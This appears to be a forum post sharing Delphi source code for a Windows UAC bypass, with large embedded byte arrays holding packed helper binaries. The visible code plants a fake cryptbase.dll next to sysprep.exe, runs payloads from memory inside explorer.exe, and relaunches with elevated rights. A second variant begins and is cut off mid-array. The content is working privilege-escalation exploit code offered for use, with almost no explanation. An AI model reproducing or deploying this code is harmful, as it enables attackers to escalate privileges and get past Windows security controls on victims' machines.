	$2B, $D6, $89, $11, $FF, $2A, $C6, $EB, $06, $2E, $FE, $D9, $73, $7F, $83,
	$21, $00, $5F, $5E, $5B, $C9, $EF, $C0, $BD, $83, $65, $FC, $00, $E8, $56,
	$70, $EB, $3E, $E6, $E4, $4E, $78, $02, $89, $08, $D8, $8D, $3E, $50, $E8,
	$DF, $DC, $FF, $AE, $2E, $00, $75, $0C, $8B, $75, $FC, $56, $8B, $D8, $E8,
	$4F, $E4, $07, $F8, $53, $57, $E8, $5A, $E4, $EC, $BF, $B7, $EE, $C4, $0C,
	$C6, $04, $37, $4D, $08, $1B, $B7, $FD, $0E, $EF, $4E, $30, $F4, $6A, $02,
	$4A, $3F, $FF, $D6, $02, $37, $04, $6E, $72, $C3, $87, $11, $F8, $5E, $7F,
	$0D, $FF, $37, $9D, $E6, $CA, $7F, $E1, $89, $07, $C9, $45, $8D, $6C, $24,
	$9C, $81, $EC, $C4, $00, $73, $D7, $76, $F7, $DF, $FE, $6A, $44, $5E, $56,
	$33, $FF, $3B, $DC, $53, $47, $50, $C7, $45, $60, $20, $17, $89, $5D, $58,
	$02, $CB, $B2, $2C, $CB, $50, $44, $5C, $48, $54, $40, $ED, $1F, $B9, $2D,
	$4C, $1E, $30, $0C, $34, $89, $7D, $38, $E8, $F3, $FD, $A8, $74, $FF, $ED,
	$EE, $8A, $4D, $78, $94, $89, $75, $DC, $10, $08, $F6, $C1, $02, $74, $0B,
	$33, $C0, $43, $28, $6F, $8D, $F8, $DF, $EB, $02, $8B, $C7, $66, $89, $45,
	$0C, $BE, $00, $00, $1A, $40, $74, $1D, $6F, $DD, $0B, $6F, $7F, $7C, $3B,
	$C3, $7E, $8B, $40, $0C, $06, $0F, $4B, $08, $01, $01, $DF, $DE, $5E, $36,
	$45, $14, $4C, $EB, $39, $21, $04, $74, $38, $04, $10, $74, $33, $53, $EE,
	$AC, $D9, $6E, $8A, $30, $50, $03, $50, $58, $C6, $FC, $C5, $CD, $B0, $FB,
	$B7, $1C, $3D, $58, $09, $75, $08, $8D, $7D, $50, $31, $E8, $01, $23, $40,
	$5B, $BB, $E0, $88, $4C, $5A, $49, $60, $F7, $1B, $85, $E0, $CD, $64, $DB,
	$B7, $04, $18, $3C, $74, $72, $F6, $0A, $08, $43, $5C, $44, $F9, $32, $32,
	$21, $5C, $44, $18, $E8, $BD, $FE, $93, $74, $C1, $5E, $3C, $47, $38, $20,
	$54, $CB, $C8, $84, $34, $48, $54, $48, $1C, $7F, $B8, $5D, $C8, $E8, $84,
	$85, $18, $74, $2A, $86, $31, $00, $39, $5D, $B3, $B9, $8D, $8D, $14, $20,
	$6A, $8D, $D6, $A3, $0B, $18, $B7, $D3, $2C, $4F, $F5, $18, $1C, $F4, $4A,
	$7D, $6C, $B2, $B9, $DB, $F6, $3B, $FB, $75, $0A, $3C, $6C, $31, $20, $06,
	$0D, $1C, $70, $8D, $B8, $70, $B6, $0E, $70, $E6, $D6, $04, $F7, $14, $FF,
	$EE, $C6, $75, $70, $85, $E8, $CC, $09, $59, $59, $8D, $44, $06, $04, $50,
	$53, $76, $DF, $FE, $8B, $09, $8F, $31, $04, $80, $3F, $22, $46, $7C, $74,
	$23, $BE, $30, $04, $56, $A7, $7B, $EB, $36, $30, $AA, $27, $57, $32, $7C,
	$E8, $A7, $08, $56, $6D, $6C, $FB, $C7, $9E, $04, $2A, $18, $EB, $09, $57,
	$1D, $8C, $45, $8B, $51, $21, $5F, $C1, $F4, $38, $1E, $74, $19, $51, $DE,
	$2A, $7C, $B6, $0D, $DB, $C8, $73, $10, $DF, $74, $93, $07, $38, $B2, $03,
	$DB, $A5, $D9, $16, $DC, $74, $FF, $20, $DC, $75, $74, $79, $75, $2F, $1F,
	$76, $B7, $60, $02, $4C, $53, $07, $7C, $53, $0F, $31, $08, $0F, $84, $8E,
	$B6, $D2, $F2, $73, $F7, $F2, $30, $E8, $5C, $40, $1C, $5C, $F2, $3C, $CF,
	$D6, $DB, $09, $58, $58, $54, $54, $B1, $D1, $50, $B6, $04, $24, $59, $01,
	$18, $6A, $D3, $85, $36, $D6, $D5, $20, $41, $0C, $1F, $A8, $45, $BF, $DD,
	$FB, $FE, $F4, $D8, $57, $10, $10, $6A, $28, $EB, $E0, $E8, $74, $02, $AC,
	$57, $FC, $ED, $DB, $DB, $58, $16, $14, $95, $20, $89, $06, $04, $28, $89,
	$46, $04, $05, $97, $65, $59, $96, $44, $0C, $50, $08, $48, $10, $E9, $90,
	$ED, $7D, $86, $2A, $7C, $52, $D6, $09, $8D, $3D, $79, $9E, $67, $9B, $D7,
	$09, $44, $44, $50, $50, $A7, $4B, $32, $D8, $A1, $D7, $09, $48, $AD, $E6,
	$DE, $95, $48, $A6, $78, $0F, $85, $E5, $D9, $13, $45, $50, $DE, $FA, $85,
	$3B, $32, $6C, $56, $E8, $48, $03, $63, $8D, $74, $30, $EC, $6E, $DD, $BF,
	$AD, $59, $3B, $F0, $76, $26, $80, $3E, $5F, $4E, $09, $77, $F6, $0D, $18,
	$50, $6F, $8E, $D6, $3D, $41, $2B, $22, $2B, $2B, $DC, $B9, $88, $5C, $06,
	$6E, $97, $FF, $85, $01, $9B, $74, $6A, $3C, $5E, $56, $8D, $45, $A0, $53,
	$D0, $FA, $F5, $0F, $B7, $B9, $CD, $B0, $95, $04, $14, $BC, $62, $05, $B8,
	$48, $E6, $4C, $CB, $B2, $05, $B0, $70, $B4, $38, $25, $D1, $67, $C3, $70,
	$E1, $75, $A0, $FD, $A4, $40, $88, $04, $AC, $E4, $12, $9A, $1F, $76, $31,
	$24, $5C, $39, $D8, $43, $F2, $00, $B9, $3A, $3A, $01, $D8, $65, $7B, $A1,
	$C0, $83, $4E, $6C, $3D, $89, $5E, $0C, $02, $08, $B3, $F1, $6D, $B5, $10,
	$65, $E3, $0C, $47, $D7, $B6, $40, $D7, $76, $60, $B8, $BB, $56, $18, $32,
	$40, $57, $7A, $23, $B0, $75, $83, $C5, $64, $5A, $14, $98, $B8, $8B, $AB,
	$5C, $32, $50, $85, $B5, $6F, $C8, $FB, $BF, $02, $6F, $28, $90, $F3, $FE,
	$78, $11, $8B, $4C, $C9, $DD, $5D, $58, $F8, $3B, $41, $08, $7D, $9C, $49,
	$93, $04, $81, $AA, $07, $83, $38, $BD, $E7, $2A, $6D, $FF, $02, $FC, $96,
	$24, $20, $4B, $EE, $F6, $D7, $28, $20, $24, $1B, $8B, $51, $E7, $04, $82,
	$20, $47, $FF, $9B, $6B, $17, $B6, $31, $57, $FF, $A6, $B9, $F9, $4E, $FD,
	$90, $50, $CB, $BD, $8D, $A5, $83, $F1, $51, $C1, $00, $BC, $3A, $8E, $0D,
	$F6, $8D, $43, $C6, $E2, $6A, $20, $6A, $08, $9B, $D7, $B7, $5C, $FB, $AE,
	$D2, $50, $0C, $83, $66, $10, $00, $CD, $09, $2D, $46, $14, $65, $EF, $70,
	$74, $06, $10, $13, $0A, $C1, $E0, $02, $50, $2A, $35, $68, $81, $8E, $21,
	$5F, $73, $5E, $6C, $D2, $EB, $3A, $07, $9C, $AF, $56, $BC, $08, $1F, $3D,
	$6D, $77, $0D, $5A, $95, $1E, $F0, $74, $06, $1B, $54, $D7, $AD, $6C, $B6,
	$45, $59, $2E, $26, $D2, $13, $C4, $F6, $5B, $77, $FB, $8B, $11, $85, $D2,
	$DC, $89, $42, $08, $89, $73, $01, $83, $C0, $08, $C3, $DF, $C2, $12, $DD,
	$1E, $83, $E8, $06, $10, $39, $09, $89, $0F, $B7, $6D, $07, $85, $15, $39,
	$83, $61, $71, $EB, $0B, $48, $04, $57, $DA, $B6, $60, $10, $AE, $50, $0A,
	$51, $BD, $F2, $44, $1F, $04, $04, $67, $C5, $6A, $DD, $C1, $97, $8B, $08,
	$18, $61, $D8, $E3, $33, $0C, $C7, $6B, $FE, $CA, $07, $B9, $00, $09, $33,
	$10, $10, $A1, $08, $83, $CE, $BE, $DD, $3F, $8B, $0D, $21, $51, $9A, $A3,
	$EF, $B2, $D7, $0D, $BB, $5D, $C3, $CC, $00, $4F, $A1, $12, $27, $D8, $D8,
	$B7, $10, $D0, $15, $0C, $52, $62, $DC, $2F, $1B, $05, $BE, $5F, $83, $EC,
	$08, $A1, $6D, $03, $83, $87, $F8, $FC, $12, $FF, $63, $35, $10, $83, $E9,
	$04, $39, $4D, $F8, $7C, $33, $3E, $F8, $81, $C2, $00, $40, $EF, $16, $FB,
	$0C, $99, $3F, $10, $82, $F6, $05, $50, $25, $C8, $96, $CC, $6C, $64, $51,
	$57, $8C, $1C, $7B, $83, $8F, $B1, $7E, $03, $E5, $FC, $CE, $0C, $03, $4D,
	$54, $2C, $0C, $BB, $6F, $0D, $5D, $8B, $0E, $E5, $5D, $D6, $19, $68, $64,
	$64, $6C, $C4, $05, $C8, $CC, $D0, $62, $82, $A2, $92, $98, $20, $04, $02,
	$28, $69, $B6, $22, $52, $40, $00, $49, $0A, $86, $20, $02, $C0, $04, $78,
	$B3, $CB, $BF, $6C, $D8, $30, $01, $48, $65, $61, $70, $43, $72, $74, $65,
	$0B, $DB, $B6, $DF, $FE, $44, $65, $73, $74, $72, $6F, $79, $0C, $45, $78,
	$69, $74, $50, $09, $63, $0F, $73, $0C, $7D, $DB, $FE, $7F, $47, $65, $74,
	$4D, $6F, $64, $75, $6C, $65, $48, $61, $6E, $64, $05, $41, $11, $43, $6C,
	$6F, $73, $B5, $BF, $DC, $82, $0D, $2B, $49, $6E, $69, $61, $6C, $69, $7A,
	$65, $4A, $7D, $EC, $F6, $D6, $09, $63, $0A, $53, $65, $63, $07, $6F, $6E,
	$39, $43, $6F, $6D, $6D, $65, $DB, $EF, $DD, $28, $4C, $69, $6E, $38, $10,
	$75, $72, $71, $6E, $5D, $7E, $96, $AC, $FB, $44, $75, $70, $6C, $34, $74,
	$4F, $90, $50, $69, $70, $65, $B6, $DF, $B0, $C7, $2F, $53, $74, $64, $19,
	$A2, $41, $6C, $7B, $63, $BE, $ED, $66, $C9, $24, $44, $58, $57, $61, $7A,
	$46, $6F, $72, $53, $DD, $9C, $7B, $DB, $66, $67, $29, $4F, $62, $6A, $81,
	$C5, $66, $65, $72, $6F, $65, $DB, $94, $94, $4C, $39, $76, $AA, $5B, $0B,
	$B1, $83, $B5, $46, $54, $65, $52, $65, $67, $2A, $85, $0D, $AE, $FD, $34,
	$C0, $6D, $65, $6D, $F2, $53, $20, $6E, $C3, $62, $5B, $EC, $63, $70, $79,
	$08, $69, $6E, $07, $0F, $DA, $CD, $66, $73, $C5, $31, $90, $24, $31, $53,
	$68, $65, $43, $AC, $B5, $B6, $15, $48, $60, $75, $85, $06, $A3, $00, $FF,
	$BF, $F9, $7F, $10, $40, $20, $0D, $08, $10, $0E, $F0, $63, $0F, $06, $0A,
	$11, $0A, $18, $09, $0A, $05, $06, $0E, $13, $AB, $4F, $18, $0D, $FF, $FB,
	$FF, $FF, $BA, $44, $39, $2B, $32, $0F, $1E, $06, $0D, $33, $40, $0E, $34,
	$0A, $07, $07, $10, $32, $C5, $06, $15, $07, $2D, $06, $16, $76, $0A, $2B,
	$FD, $DB, $DF, $FE, $20, $06, $21, $06, $54, $06, $13, $2D, $0A, $09, $09,
	$07, $05, $13, $03, $06, $07, $16, $0C, $17, $05, $0A, $F8, $76, $FB, $DB,
	$0C, $05, $12, $4E, $00, $50, $45, $60, $4C, $01, $07, $FA, $BF, $34, $53,
	$2C, $FF, $07, $23, $8A, $E0, $00, $0E, $21, $0B, $01, $02, $32, $00, $0C,
	$0A, $BE, $60, $83, $9D, $10, $03, $30, $0D, $0B, $02, $A4, $9B, $05, $D9,
	$1E, $04, $07, $0C, $70, $64, $CB, $0E, $BB, $03, $38, $10, $07, $4A, $B3,
	$6F, $F9, $BA, $47, $46, $2A, $40, $50, $14, $50, $17, $48, $C1, $32, $65,
	$02, $60, $C8, $23, $0F, $64, $DD, $55, $C0, $57, $6C, $1F, $2E, $63, $6F,
	$C2, $DE, $61, $CD, $64, $65, $B0, $90, $02, $B7, $7D, $93, $DD, $85, $E6,
	$20, $2E, $88, $78, $74, $10, $4A, $08, $85, $03, $D8, $08, $0F, $06, $27,
	$72, $64, $C9, $46, $36, $79, $B6, $61, $4F, $56, $30, $D0, $B1, $C9, $EE,
	$ED, $92, $40, $2E, $26, $10, $14, $03, $73, $58, $63, $9B, $B2, $12, $27,
	$C0, $4F, $73, $1B, $42, $23, $80, $0C, $76, $50, $4F, $16, $7F, $32, $C8,
	$37, $46, $74, $C8, $27, $60, $18, $F7, $75, $7C, $53, $42, $1B, $2C, $50,
	$7B, $7C, $D8, $04, $00, $00, $00, $00, $00, $40, $02, $00, $FF, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $80, $7C, $24, $08, $01, $0F, $85,
	$86, $01, $00, $00, $60, $BE, $15, $80, $00, $10, $8D, $BE, $EB, $8F, $FF,
	$FF, $57, $EB, $10, $90, $90, $90, $90, $90, $90, $8A, $06, $46, $88, $07,
	$47, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB, $72, $ED, $B8,
	$01, $00, $00, $00, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB,
	$11, $C0, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE, $FC, $11, $DB,
	$73, $E4, $31, $C9, $83, $E8, $03, $72, $0D, $C1, $E0, $08, $8A, $06, $46,
	$83, $F0, $FF, $74, $74, $89, $C5, $01, $DB, $75, $07, $8B, $1E, $83, $EE,
	$FC, $11, $DB, $11, $C9, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11,
	$DB, $11, $C9, $75, $20, $41, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC,
	$11, $DB, $11, $C9, $01, $DB, $73, $EF, $75, $09, $8B, $1E, $83, $EE, $FC,
	$11, $DB, $73, $E4, $83, $C1, $02, $81, $FD, $00, $F3, $FF, $FF, $83, $D1,
	$01, $8D, $14, $2F, $83, $FD, $FC, $76, $0F, $8A, $02, $42, $88, $07, $47,
	$49, $75, $F7, $E9, $63, $FF, $FF, $FF, $90, $8B, $02, $83, $C2, $04, $89,
	$07, $83, $C7, $04, $83, $E9, $04, $77, $F1, $01, $CF, $E9, $4C, $FF, $FF,
	$FF, $5E, $8D, $BE, $00, $60, $00, $00, $8B, $07, $09, $C0, $74, $3C, $8B,
	$5F, $04, $8D, $84, $30, $00, $80, $00, $00, $01, $F3, $50, $83, $C7, $08,
	$FF, $96, $50, $80, $00, $00, $95, $8A, $07, $47, $08, $C0, $74, $DC, $89,
	$F9, $57, $48, $F2, $AE, $55, $FF, $96, $54, $80, $00, $00, $09, $C0, $74,
	$07, $89, $03, $83, $C3, $04, $EB, $E1, $61, $31, $C0, $C2, $0C, $00, $83,
	$C7, $04, $8D, $5E, $FC, $31, $C0, $8A, $07, $47, $09, $C0, $74, $22, $3C,
	$EF, $77, $11, $01, $C3, $8B, $03, $86, $C4, $C1, $C0, $10, $86, $C4, $01,
	$F0, $89, $03, $EB, $E2, $24, $0F, $C1, $E0, $10, $66, $8B, $07, $83, $C7,
	$02, $EB, $E2, $8B, $AE, $58, $80, $00, $00, $8D, $BE, $00, $F0, $FF, $FF,
	$BB, $00, $10, $00, $00, $50, $54, $6A, $04, $53, $57, $FF, $D5, $8D, $87,
	$9F, $01, $00, $00, $80, $20, $7F, $80, $60, $28, $7F, $58, $50, $54, $50,
	$53, $57, $FF, $D5, $58, $61, $8D, $44, $24, $80, $6A, $00, $39, $C4, $75,
	$FA, $83, $EC, $80, $E9, $0A, $86, $FF, $FF, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $78, $90, $00, $00, $50, $90, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $85, $90, $00, $00, $68, $90, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $90, $90, $00, $00,
	$70, $90, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $9C, $90, $00, $00, $AA, $90,
	$00, $00, $BA, $90, $00, $00, $CA, $90, $00, $00, $D8, $90, $00, $00, $00,
	$00, $00, $00, $E6, $90, $00, $00, $00, $00, $00, $00, $EE, $90, $00, $00,
	$00, $00, $00, $00, $4B, $45, $52, $4E, $45, $4C, $33, $32, $2E, $44, $4C,
	$4C, $00, $4D, $53, $56, $43, $52, $54, $2E, $64, $6C, $6C, $00, $53, $48,
	$45, $4C, $4C, $33, $32, $2E, $44, $4C, $4C, $00, $00, $00, $4C, $6F, $61,
	$64, $4C, $69, $62, $72, $61, $72, $79, $41, $00, $00, $47, $65, $74, $50,
	$72, $6F, $63, $41, $64, $64, $72, $65, $73, $73, $00, $00, $56, $69, $72,
	$74, $75, $61, $6C, $50, $72, $6F, $74, $65, $63, $74, $00, $00, $56, $69,
	$72, $74, $75, $61, $6C, $41, $6C, $6C, $6F, $63, $00, $00, $56, $69, $72,
	$74, $75, $61, $6C, $46, $72, $65, $65, $00, $00, $00, $6D, $65, $6D, $73,
	$65, $74, $00, $00, $53, $68, $65, $6C, $6C, $45, $78, $65, $63, $75, $74,
	$65, $45, $78, $41, $00, $00, $00, $00, $00, $FA, $BF, $34, $53, $00, $00,
	$00, $00, $32, $91, $00, $00, $01, $00, $00, $00, $01, $00, $00, $00, $01,
	$00, $00, $00, $28, $91, $00, $00, $2C, $91, $00, $00, $30, $91, $00, $00,
	$77, $10, $00, $00, $3B, $91, $00, $00, $00, $00, $54, $65, $73, $74, $2E,
	$64, $6C, $6C, $00, $4D, $79, $46, $75, $6E, $63, $74, $69, $6F, $6E, $00,
	$00, $00, $00, $80, $00, $00, $0C, $00, $00, $00, $6D, $38, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00);
 
Function mFileToStr(Ruta: ansistring): ansistring;
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  Result := '';
  sFile := _lopen(PansiChar(Ruta), OF_READ);
  uBytes := GetFileSize(sFile, nil);
  SetLength(Result, uBytes);
  _lread(sFile, @Result[1], uBytes);
  _lclose(sFile);
end;
 
Procedure mWriteFileFromStr(Cadena, Ruta: ansistring);
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  sFile := _lcreat(PansiChar(Ruta), 0);
  uBytes := Length(Cadena);
  _lwrite(sFile, @Cadena[1], uBytes);
  _lclose(sFile);
end;
 
function IsUserAnAdmin: integer; external 'shell32';
 
Function Bypass: bool;
var
  Yo: Ansistring;
  DllD: Ansistring;
  TmpDir: array [0 .. MAX_PATH] of Char;
  WinDir: array [0 .. MAX_PATH] of Char;
  SysDir: array [0 .. MAX_PATH] of Char;
  Tmp: String;
  Sys: String;
  Win: String;
  SysPrp: String;
  FOpThread: DWORD;
begin
  Result := False;
  GetTempPath(MAX_PATH, TmpDir);
  GetSystemDirectory(SysDir, MAX_PATH);
  GetWindowsDirectory(WinDir, MAX_PATH);
  Win := WinDir + '\explorer.exe';
  Sys := SysDir + '\sysprep\cryptbase.dll';
  SysPrp := SysDir + '\sysprep\sysprep.exe';
  Tmp := TmpDir + 'cryptbase.dll';
 
  if IsUserAnAdmin = 1 then
  begin
	Result := True;
	while FileExists(Sys) do
	  DeleteFile(Sys);
	DeleteFile(Tmp);
  end
  else
  begin
	if AnsiUpperCase(ExtractFileName(Paramstr(0))) <> 'EXPLORER.EXE' then
	begin
	  Yo := mFileToStr(Paramstr(0));
	  SetLength(DllD, SizeOf(DllDummy));
	  CopyMemory(@DllD[1], @DllDummy[0], SizeOf(DllDummy));
	  mWriteFileFromStr(DllD, Tmp);
	  Sleep(3000);
	  FOpThread := ExecuteFromMem(Win, Paramstr(0), @FOp[0]);
	  WaitForSingleObject(FOpThread, INFINITE);
	  ExecuteFromMem(Win, Paramstr(0), @Yo[1]);
	  ExitProcess(0);
	end
	else
	begin
	  ShellExecute(0, 'OPEN', PCHAR(SysPrp), PCHAR(Paramstr(1)), nil, SW_SHOW);
	  ExitProcess(0);
	end;
  end;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  if Bypass then
	showmessage('Soy admin');
end;
 
end.
Второй вариант:
Код:
program Project1;
 
{$APPTYPE GUI}
{$R *.res}
 
uses
  Winapi.Windows,
  System.SysUtils,
  Winapi.Shellapi;
 
const
  FOp: array [0 .. 2559] of byte = ($4D, $5A, $80, $00, $01, $00, $00, $00, $04,
	$00, $10, $00, $FF, $FF, $00, $00, $40, $01, $00, $00, $00, $00, $00, $00,
	$40, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $80, $00, $00, $00, $0E, $1F, $BA, $0E, $00,
	$B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, $69, $73, $20, $70,
	$72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F, $74, $20, $62,
	$65, $20, $72, $75, $6E, $20, $69, $6E, $20, $44, $4F, $53, $20, $6D, $6F,
	$64, $65, $2E, $0D, $0A, $24, $00, $00, $00, $00, $00, $00, $00, $00, $50,
	$45, $00, $00, $4C, $01, $03, $00, $C5, $76, $35, $53, $00, $00, $00, $00,
	$00, $00, $00, $00, $E0, $00, $0F, $01, $0B, $01, $01, $46, $00, $10, $00,
	$00, $00, $10, $00, $00, $00, $40, $00, $00, $90, $52, $00, $00, $00, $50,
	$00, $00, $00, $60, $00, $00, $00, $00, $40, $00, $00, $10, $00, $00, $00,
	$02, $00, $00, $01, $00, $00, $00, $00, $00, $00, $00, $04, $00, $00, $00,
	$00, $00, $00, $00, $00, $70, $00, $00, $00, $10, $00, $00, $00, $00, $00,
	$00, $02, $00, $00, $00, $00, $10, $00, $00, $00, $10, $00, $00, $00, $00,
	$01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $10, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $60, $00, $00, $24, $01, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $55, $50, $58, $30, $00, $00, $00, $00,
	$00, $40, $00, $00, $00, $10, $00, $00, $00, $00, $00, $00, $00, $02, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $80, $00,
	$00, $E0, $55, $50, $58, $31, $00, $00, $00, $00, $00, $10, $00, $00, $00,
	$50, $00, $00, $00, $06, $00, $00, $00, $02, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $E0, $55, $50, $58,
	$32, $00, $00, $00, $00, $00, $10, $00, $00, $00, $60, $00, $00, $00, $02,
	$00, $00, $00, $08, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $40, $00, $00, $C0, $33, $2E, $30, $37, $00, $55, $50, $58,
	$21, $0D, $09, $02, $09, $3D, $B4, $BA, $E9, $75, $E7, $7C, $38, $0D, $32,
	$00, $00, $78, $02, $00, $00, $00, $0C, $00, $00, $16, $00, $00, $B9, $9B,
	$66, $2B, $FF, $C7, $05, $00, $20, $40, $00, $24, $00, $09, $14, $04, $6A,
	$00, $76, $BB, $77, $FF, $FF, $15, $E8, $68, $00, $40, $49, $22, $10, $68,
	$04, $01, $00, $0F, $8C, $30, $0A, $4E, $24, $DC, $66, $B7, $E7, $04, $14,
	$0F, $90, $30, $1A, $0F, $2A, $22, $77, $92, $CF, $F7, $94, $1F, $3A, $2A,
	$22, $20, $25, $04, $F3, $7C, $BF, $48, $00, $49, $6A, $24, $29, $EC, $32,
	$90, $EE, $61, $DD, $10, $19, $6A, $50, $1C, $31, $16, $36, $FD, $B6, $93,
	$1C, $2A, $22, $14, $04, $69, $A1, $4C, $50, $8B, $EC, $B5, $F7, $BD, $12,
	$50, $14, $6A, $A1, $35, $2B, $05, $48, $1A, $BE, $4B, $2E, $BB, $40, $0A,
	$54, $08, $D0, $88, $44, $10, $05, $E6, $76, $00, $DF, $75, $DF, $FD, $5C,
	$00, $73, $00, $79, $03, $70, $00, $72, $00, $65, $05, $5C, $1B, $43, $00,
	$52, $00, $59, $36, $F3, $FF, $FF, $00, $50, $00, $54, $00, $42, $00, $41,
	$00, $53, $00, $45, $00, $2E, $00, $64, $00, $6C, $00, $6C, $0B, $6C, $B7,
	$B9, $FF, $EF, $27, $76, $00, $61, $00, $74, $00, $69, $00, $6F, $00, $6E,
	$00, $3A, $23, $1D, $6D, $0D, $75, $9F, $E9, $36, $0B, $69, $49, $74, $1D,
	$6F, $07, $21, $BD, $B9, $BB, $CD, $13, $2D, $77, $23, $7B, $00, $33, $15,
	$27, $30, $00, $35, $B2, $3D, $77, $D7, $01, $37, $03, $2D, $00, $38, $01,
	$0B, $09, $34, $D7, $8D, $7C, $37, $30, $13, $39, $00, $32, $00, $37, $31,
	$01, $62, $17, $77, $5D, $F7, $BA, $05, $64, $09, $49, $30, $1F, $7D, $85,
	$75, $55, $D0, $FF, $FF, $FF, $FF, $3A, $57, $88, $50, $48, $92, $77, $11,
	$B8, $5B, $DB, $8E, $09, $5F, $AB, $7A, $94, $5C, $0A, $13, $4C, $B4, $D6,
	$4B, $F7, $83, $6F, $C9, $F8, $1E, $6D, $82, $22, $AC, $F8, $FF, $43, $18,
	$E7, $EE, $42, $BC, $55, $A1, $E2, $61, $C3, $7B, $FE, $32, $72, $65, $07,
	$A2, $50, $30, $13, $5E, $2B, $B2, $C9, $00, $68, $03, $72, $B6, $69, $96,
	$30, $AA, $BA, $C6, $30, $13, $9C, $DB, $AD, $CA, $56, $00, $47, $04, $31,
	$0B, $3B, $95, $2D, $39, $F4, $00, $24, $31, $07, $8A, $2A, $A4, $CE, $FD,
	$47, $51, $01, $B6, $0C, $7C, $2F, $FF, $5F, $36, $88, $20, $01, $45, $78,
	$69, $74, $50, $72, $6F, $63, $65, $73, $73, $47, $65, $74, $B1, $ED, $B7,
	$FF, $54, $65, $6D, $70, $50, $61, $74, $68, $57, $0D, $6C, $73, $74, $72,
	$63, $0A, $57, $17, $B3, $FD, $DF, $DA, $53, $79, $0D, $1A, $44, $69, $72,
	$65, $63, $74, $6F, $72, $79, $57, $42, $89, $EE, $FD, $ED, $4F, $E8, $43,
	$6F, $49, $6E, $44, $69, $61, $6C, $69, $7A, $65, $0D, $2D, $BB, $D9, $6C,
	$EE, $4F, $62, $6A, $27, $23, $93, $1C, $21, $53, $48, $43, $39, $7F, $DB,
	$BA, $5B, $4B, $65, $49, $44, $46, $6E, $6D, $62, $72, $73, $69, $6E, $67,
	$4E, $F9, $2F, $4F, $E8, $61, $6D, $65, $8C, $50, $45, $4C, $01, $03, $00,
	$C5, $76, $35, $53, $83, $34, $FF, $0F, $E0, $00, $0F, $01, $0B, $01, $01,
	$46, $00, $02, $08, $10, $EC, $66, $DF, $60, $03, $20, $0C, $40, $0B, $1F,
	$01, $00, $BD, $67, $87, $9D, $04, $3C, $40, $17, $19, $82, $06, $2C, $78,
	$CB, $96, $37, $29, $0E, $34, $0C, $45, $F6, $26, $42, $1A, $00, $2E, $F6,
	$0D, $E9, $2E, $10, $78, $74, $90, $ED, $AC, $02, $23, $0B, $16, $EE, $16,
	$EA, $60, $2E, $64, $3D, $61, $9C, $64, $03, $1B, $AC, $05, $FB, $06, $EC,
	$F2, $1B, $6C, $6C, $F6, $C0, $2E, $69, $28, $CB, $30, $4B, $0A, $27, $EE,
	$84, $68, $29, $02, $6C, $91, $07, $00, $00, $00, $00, $00, $80, $04, $00,
	$FF, $00, $00, $00, $60, $BE, $15, $50, $40, $00, $8D, $BE, $EB, $BF, $FF,
	$FF, $57, $83, $CD, $FF, $EB, $10, $90, $90, $90, $90, $90, $90, $8A, $06,
	$46, $88, $07, $47, $01, $DB, $75, $07, $8B, $1E, $83, $EE, $FC, $11, $DB,
